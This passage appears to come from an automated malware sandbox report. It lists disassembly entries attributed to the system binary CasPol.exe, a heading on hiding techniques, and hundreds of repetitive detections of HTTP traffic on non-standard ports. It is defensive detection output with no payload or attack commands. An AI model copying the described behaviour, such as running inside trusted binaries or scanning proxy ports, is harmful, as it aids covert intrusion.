Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_065E62C3 push ebp; retn 0005h	8_2_065E62CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_065E83A8 push ebx; ret	8_2_065E83AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_065E83A0 push ebx; ret	8_2_065E83A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 8_2_065E3BA1 push cs; ret	8_2_065E3BA2

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 37736
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 22881
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 9401
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 54240
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 4444
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 28695
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 55109
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 9401 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 10003
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 14282
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 37736
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 44374
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 30000
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 50265 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 22500
Source: unknown	Network traffic detected: HTTP traffic on port 7777 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 10003 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 50287 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50288 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50393 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 3629
Source: unknown	Network traffic detected: HTTP traffic on port 50275 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50383 -> 6001
Source: unknown	Network traffic detected: HTTP traffic on port 50273 -> 48553
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 49614
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50406 -> 41746
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50422 -> 24543
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50249
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50299 -> 44195
Source: unknown	Network traffic detected: HTTP traffic on port 50378 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50421 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50330 -> 9123
Source: unknown	Network traffic detected: HTTP traffic on port 50326 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50494 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50319 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 50355 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50499 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50420 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 18080 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 50366 -> 49202
Source: unknown	Network traffic detected: HTTP traffic on port 50254 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50543 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50567 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50627 -> 25675
Source: unknown	Network traffic detected: HTTP traffic on port 50468 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50305 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50538 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50336 -> 83
Source: unknown	Network traffic detected: HTTP traffic on port 50371 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50413 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 28695
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50506 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 50481 -> 8880
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 22881
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 31908
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 4444
Source: unknown	Network traffic detected: HTTP traffic on port 50626 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50545 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 50698 -> 27207
Source: unknown	Network traffic detected: HTTP traffic on port 30000 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 50400
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 26976
Source: unknown	Network traffic detected: HTTP traffic on port 50631 -> 9401
Source: unknown	Network traffic detected: HTTP traffic on port 50669 -> 31571
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 50542 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50484 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50593 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50615 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 85
Source: unknown	Network traffic detected: HTTP traffic on port 50505 -> 4019
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50607 -> 63055
Source: unknown	Network traffic detected: HTTP traffic on port 24543 -> 50422
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 55109
Source: unknown	Network traffic detected: HTTP traffic on port 50730 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50576 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50642 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50673 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50676 -> 36946
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50565 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 52858
Source: unknown	Network traffic detected: HTTP traffic on port 50680 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 44374
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50567
Source: unknown	Network traffic detected: HTTP traffic on port 50687 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50773 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50804 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50790 -> 28513
Source: unknown	Network traffic detected: HTTP traffic on port 50830 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50827 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50355
Source: unknown	Network traffic detected: HTTP traffic on port 50879 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50887 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50949 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50853 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50781 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 50705 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50468
Source: unknown	Network traffic detected: HTTP traffic on port 44195 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50805 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 54240
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 7777 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 50902 -> 29796
Source: unknown	Network traffic detected: HTTP traffic on port 50852 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 34411
Source: unknown	Network traffic detected: HTTP traffic on port 51014 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51057 -> 61634
Source: unknown	Network traffic detected: HTTP traffic on port 9401 -> 50631
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50983 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51008 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50961 -> 7237
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50413
Source: unknown	Network traffic detected: HTTP traffic on port 51016 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51018 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 59820
Source: unknown	Network traffic detected: HTTP traffic on port 51033 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51013 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50977 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50981 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50906 -> 5020
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 50887
Source: unknown	Network traffic detected: HTTP traffic on port 51023 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 11070
Source: unknown	Network traffic detected: HTTP traffic on port 50273 -> 48553
Source: unknown	Network traffic detected: HTTP traffic on port 51049 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51068 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 51042 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51058 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 58275
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 37736
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 51011 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 49614
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 3500
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51075 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50508
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50687
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 51033
Source: unknown	Network traffic detected: HTTP traffic on port 51105 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 10080
Source: unknown	Network traffic detected: HTTP traffic on port 51101 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51080 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51089 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51091 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 43100
Source: unknown	Network traffic detected: HTTP traffic on port 51160 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51168 -> 666
Source: unknown	Network traffic detected: HTTP traffic on port 51127 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51132 -> 15291
Source: unknown	Network traffic detected: HTTP traffic on port 50626 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51110 -> 14669
Source: unknown	Network traffic detected: HTTP traffic on port 51094 -> 6008
Source: unknown	Network traffic detected: HTTP traffic on port 51169 -> 22942
Source: unknown	Network traffic detected: HTTP traffic on port 51170 -> 62969
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51093 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 28695
Source: unknown	Network traffic detected: HTTP traffic on port 4019 -> 50505
Source: unknown	Network traffic detected: HTTP traffic on port 51136 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51208 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51135 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51161 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 51156 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51165 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 50336 -> 83
Source: unknown	Network traffic detected: HTTP traffic on port 51186 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 51137 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51187 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51057 -> 61634
Source: unknown	Network traffic detected: HTTP traffic on port 51126 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 51226 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51249 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50445 -> 53777
Source: unknown	Network traffic detected: HTTP traffic on port 50676 -> 36946
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 85
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51058
Source: unknown	Network traffic detected: HTTP traffic on port 50254 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 44374
Source: unknown	Network traffic detected: HTTP traffic on port 50310 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51231 -> 36181
Source: unknown	Network traffic detected: HTTP traffic on port 51190 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 26976
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 52858
Source: unknown	Network traffic detected: HTTP traffic on port 51198 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 51254 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51148 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 50790 -> 28513
Source: unknown	Network traffic detected: HTTP traffic on port 50680 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50479 -> 57642
Source: unknown	Network traffic detected: HTTP traffic on port 9091 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 50439 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50568 -> 56225
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51089
Source: unknown	Network traffic detected: HTTP traffic on port 51306 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51246 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 34411
Source: unknown	Network traffic detected: HTTP traffic on port 50902 -> 29796
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 9990
Source: unknown	Network traffic detected: HTTP traffic on port 51258 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 50429 -> 5020
Source: unknown	Network traffic detected: HTTP traffic on port 50580 -> 51507
Source: unknown	Network traffic detected: HTTP traffic on port 50989 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51268 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 51249
Source: unknown	Network traffic detected: HTTP traffic on port 51357 -> 41442
Source: unknown	Network traffic detected: HTTP traffic on port 50961 -> 7237
Source: unknown	Network traffic detected: HTTP traffic on port 51312 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51342 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 4444
Source: unknown	Network traffic detected: HTTP traffic on port 51287 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50495 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51366 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 55109
Source: unknown	Network traffic detected: HTTP traffic on port 51294 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 7777 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 50633 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51302 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50741 -> 4228
Source: unknown	Network traffic detected: HTTP traffic on port 51307 -> 3389
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51367 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51116 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51389 -> 44523
Source: unknown	Network traffic detected: HTTP traffic on port 50556 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51376 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50704 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50707 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51411 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51363 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50682 -> 61344
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51347 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51042 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50484
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50705
Source: unknown	Network traffic detected: HTTP traffic on port 50906 -> 5020
Source: unknown	Network traffic detected: HTTP traffic on port 50868 -> 22500
Source: unknown	Network traffic detected: HTTP traffic on port 51420 -> 47935
Source: unknown	Network traffic detected: HTTP traffic on port 51316 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51372 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 51424 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51410 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50708 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51407 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51421 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51422 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51057 -> 61634
Source: unknown	Network traffic detected: HTTP traffic on port 4228 -> 50741
Source: unknown	Network traffic detected: HTTP traffic on port 51080 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 51428 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50433 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51466 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50878 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51418 -> 444
Source: unknown	Network traffic detected: HTTP traffic on port 51438 -> 10010
Source: unknown	Network traffic detected: HTTP traffic on port 51484 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50914 -> 26777
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51110 -> 14669
Source: unknown	Network traffic detected: HTTP traffic on port 51413 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51161 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 22881
Source: unknown	Network traffic detected: HTTP traffic on port 51463 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 51455 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 51469 -> 12217
Source: unknown	Network traffic detected: HTTP traffic on port 51525 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 51460 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51094 -> 6008
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51302
Source: unknown	Network traffic detected: HTTP traffic on port 51479 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51429 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51452 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51491 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 51486 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51539 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50273 -> 48553
Source: unknown	Network traffic detected: HTTP traffic on port 51069 -> 30747
Source: unknown	Network traffic detected: HTTP traffic on port 50813 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51544 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50462
Source: unknown	Network traffic detected: HTTP traffic on port 51497 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 51086 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50626 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51543 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 51538 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51523 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51577 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 51501 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 51466
Source: unknown	Network traffic detected: HTTP traffic on port 51560 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51520 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51641 -> 26305
Source: unknown	Network traffic detected: HTTP traffic on port 51534 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 10010 -> 51438
Source: unknown	Network traffic detected: HTTP traffic on port 9990 -> 50158
Source: unknown	Network traffic detected: HTTP traffic on port 51198 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 49614
Source: unknown	Network traffic detected: HTTP traffic on port 51668 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51701 -> 8585
Source: unknown	Network traffic detected: HTTP traffic on port 51561 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 51616 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51621 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51705 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51567 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 51154 -> 15410
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 25492
Source: unknown	Network traffic detected: HTTP traffic on port 51600 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51589 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51190 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 51389 -> 44523
Source: unknown	Network traffic detected: HTTP traffic on port 51171 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51732 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51577
Source: unknown	Network traffic detected: HTTP traffic on port 51627 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51572 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51591 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51789 -> 55029
Source: unknown	Network traffic detected: HTTP traffic on port 51640 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 51491
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 14921
